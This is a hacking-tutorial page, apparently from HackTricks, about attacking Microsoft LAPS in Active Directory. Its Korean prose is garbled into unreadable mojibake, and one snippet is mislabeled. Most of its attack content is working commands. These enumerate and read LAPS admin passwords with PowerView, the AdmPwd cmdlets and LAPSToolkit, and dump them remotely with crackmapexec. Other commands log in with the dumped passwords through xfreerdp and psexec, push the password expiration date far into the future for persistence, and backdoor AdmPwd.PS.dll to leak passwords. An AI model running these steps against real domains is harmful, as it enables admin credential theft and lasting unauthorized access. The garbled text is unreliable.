LAPS
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
Local Administrator Password Solution (LAPS)๋ ๊ณ ์ ํ๊ณ ๋ฌด์์์ด๋ฉฐ ์์ฃผ ๋ณ๊ฒฝ๋๋ ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋๋ฉ์ธ์ ๊ฐ์ ๋ ์ปดํจํฐ์ ์ ์ฉํ๋ ์์คํ ์ ๊ด๋ฆฌํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๋๊ตฌ์ ๋๋ค. ์ด๋ฌํ ๋น๋ฐ๋ฒํธ๋ Active Directory ๋ด์ ์์ ํ๊ฒ ์ ์ฅ๋๋ฉฐ, Access Control Lists (ACLs)๋ฅผ ํตํด ๊ถํ์ด ๋ถ์ฌ๋ ์ฌ์ฉ์๋ง ์ ๊ทผํ ์ ์์ต๋๋ค. ํด๋ผ์ด์ธํธ์์ ์๋ฒ๋ก์ ๋น๋ฐ๋ฒํธ ์ ์ก ๋ณด์์ Kerberos version 5์ **Advanced Encryption Standard (AES)**์ ์ฌ์ฉ์ผ๋ก ๋ณด์ฅ๋ฉ๋๋ค.
๋๋ฉ์ธ์ ์ปดํจํฐ ๊ฐ์ฒด์์ LAPS์ ๊ตฌํ์ ๋ ๊ฐ์ ์๋ก์ด ์์ฑ์ธ **ms-mcs-AdmPwd**์ **ms-mcs-AdmPwdExpirationTime**์ ์ถ๊ฐ๋ก ์ด์ด์ง๋๋ค. ์ด ์์ฑ๋ค์ ๊ฐ๊ฐ ์ผ๋ฐ ํ
์คํธ ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ์ ๋ง๋ฃ ์๊ฐ์ ์ ์ฅํฉ๋๋ค.
Check if activated
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS ๋น๋ฐ๋ฒํธ ์ ๊ทผ
๋น์ ์ ์์ LAPS ์ ์ฑ
์ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol ๊ทธ๋ฆฌ๊ณ **Parse-PolFile**๋ฅผ ์ฌ์ฉํ์ฌ GPRegistryPolicyParser ํจํค์ง์์ ์ด ํ์ผ์ ์ฌ๋์ด ์ฝ์ ์ ์๋ ํ์์ผ๋ก ๋ณํํ ์ ์์ต๋๋ค.
๊ฒ๋ค๊ฐ, ๋ค์ดํฐ๋ธ LAPS PowerShell cmdlets๋ ์ฐ๋ฆฌ๊ฐ ์ ๊ทผํ ์ ์๋ ๋จธ์ ์ ์ค์น๋์ด ์๋ค๋ฉด ์ฌ์ฉํ ์ ์์ต๋๋ค:
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
PowerView๋ ๋๊ฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฝ์ ์ ์๋์ง์ ๊ทธ๊ฒ์ ์ฝ๋์ง ์์๋ด๋ ๋ฐ์๋ ์ฌ์ฉ๋ ์ ์์ต๋๋ค:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
The LAPSToolkit๋ ์ฌ๋ฌ ๊ธฐ๋ฅ์ ํตํด LAPS์ ์ด๊ฑฐ๋ฅผ ์ฉ์ดํ๊ฒ ํฉ๋๋ค.
ํ๋์ ๊ธฐ๋ฅ์ **LAPS๊ฐ ํ์ฑํ๋ ๋ชจ๋ ์ปดํจํฐ์ ๋ํ ExtendedRights**๋ฅผ ํ์ฑํ๋ ๊ฒ์
๋๋ค. ์ด๋ LAPS ๋น๋ฐ๋ฒํธ๋ฅผ ์ฝ๋๋ก ํน๋ณํ ์์๋ ๊ทธ๋ฃน์ ๋ณด์ฌ์ฃผ๋ฉฐ, ์ด๋ฌํ ๊ทธ๋ฃน์ ์ข
์ข
๋ณดํธ๋ ๊ทธ๋ฃน์ ์ฌ์ฉ์์
๋๋ค.
๋๋ฉ์ธ์ ์ปดํจํฐ๋ฅผ ๊ฐ์
์ํจ ๊ณ์ ์ ํด๋น ํธ์คํธ์ ๋ํด All Extended Rights๋ฅผ ๋ฐ์ผ๋ฉฐ, ์ด ๊ถํ์ ๊ณ์ ์ด ๋น๋ฐ๋ฒํธ๋ฅผ ์ฝ์ ์ ์๋ ๋ฅ๋ ฅ์ ๋ถ์ฌํฉ๋๋ค. ์ด๊ฑฐ๋ฅผ ํตํด ํธ์คํธ์์ LAPS ๋น๋ฐ๋ฒํธ๋ฅผ ์ฝ์ ์ ์๋ ์ฌ์ฉ์ ๊ณ์ ์ ๋ณด์ฌ์ค ์ ์์ต๋๋ค. ์ด๋ LAPS ๋น๋ฐ๋ฒํธ๋ฅผ ์ฝ์ ์ ์๋ ํน์ AD ์ฌ์ฉ์๋ฅผ ํ๊ฒํ
ํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค.
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
Dumping LAPS Passwords With Crackmapexec
powershell์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ LDAP๋ฅผ ํตํด ์ด ๊ถํ์ ์๊ฒฉ์ผ๋ก ์ ์ฉํ ์ ์์ต๋๋ค.
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
์ด๊ฒ์ ์ฌ์ฉ์๊ฐ ์ฝ์ ์ ์๋ ๋ชจ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋คํํ์ฌ ๋ค๋ฅธ ์ฌ์ฉ์๋ก ๋ ๋์ ๋ฐํ์ ๋ง๋ จํ ์ ์๊ฒ ํด์ค๋๋ค.
** LAPS ๋น๋ฐ๋ฒํธ ์ฌ์ฉ **
xfreerdp /v:192.168.1.1:3389 /u:Administrator
Password: 2Z@Ae)7!{9#Cq
python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq
LAPS ์ง์์ฑ
๋ง๋ฃ ๋ ์ง
๊ด๋ฆฌ์๊ฐ ๋๋ฉด, ๋น๋ฐ๋ฒํธ๋ฅผ ์ป๊ณ ๋น๋ฐ๋ฒํธ ์ ๋ฐ์ดํธ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ง๋ฃ ๋ ์ง๋ฅผ ๋ฏธ๋๋ก ์ค์ ํ ์ ์์ต๋๋ค.
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
Warning
๋น๋ฐ๋ฒํธ๋ admin์ด
Reset-AdmPwdPasswordcmdlet์ ์ฌ์ฉํ๊ฑฐ๋ LAPS GPO์์ ์ ์ฑ ์ ์ํด ์๊ตฌ๋๋ ๊ฒ๋ณด๋ค ๊ธด ๋น๋ฐ๋ฒํธ ๋ง๋ฃ ์๊ฐ์ ํ์ฉํ์ง ์์์ด ํ์ฑํ๋ ๊ฒฝ์ฐ ์ฌ์ ํ ์ฌ์ค์ ๋ฉ๋๋ค.
๋ฐฑ๋์ด
LAPS์ ์๋ณธ ์์ค ์ฝ๋๋ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ผ๋ฏ๋ก, ์ฝ๋์ ๋ฐฑ๋์ด๋ฅผ ๋ฃ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค (์: Main/AdmPwd.PS/Main.cs์ Get-AdmPwdPassword ๋ฉ์๋ ๋ด๋ถ) ์ด ๋ฐฑ๋์ด๋ ์ด๋ค ์์ผ๋ก๋ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ถํ๊ฑฐ๋ ์ด๋๊ฐ์ ์ ์ฅํ ์ ์์ต๋๋ค.
๊ทธ๋ฐ ๋ค์, ์๋ก์ด AdmPwd.PS.dll์ ์ปดํ์ผํ๊ณ C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll์ ์
๋ก๋ํฉ๋๋ค (๊ทธ๋ฆฌ๊ณ ์์ ์๊ฐ์ ๋ณ๊ฒฝํฉ๋๋ค).
์ฐธ์กฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


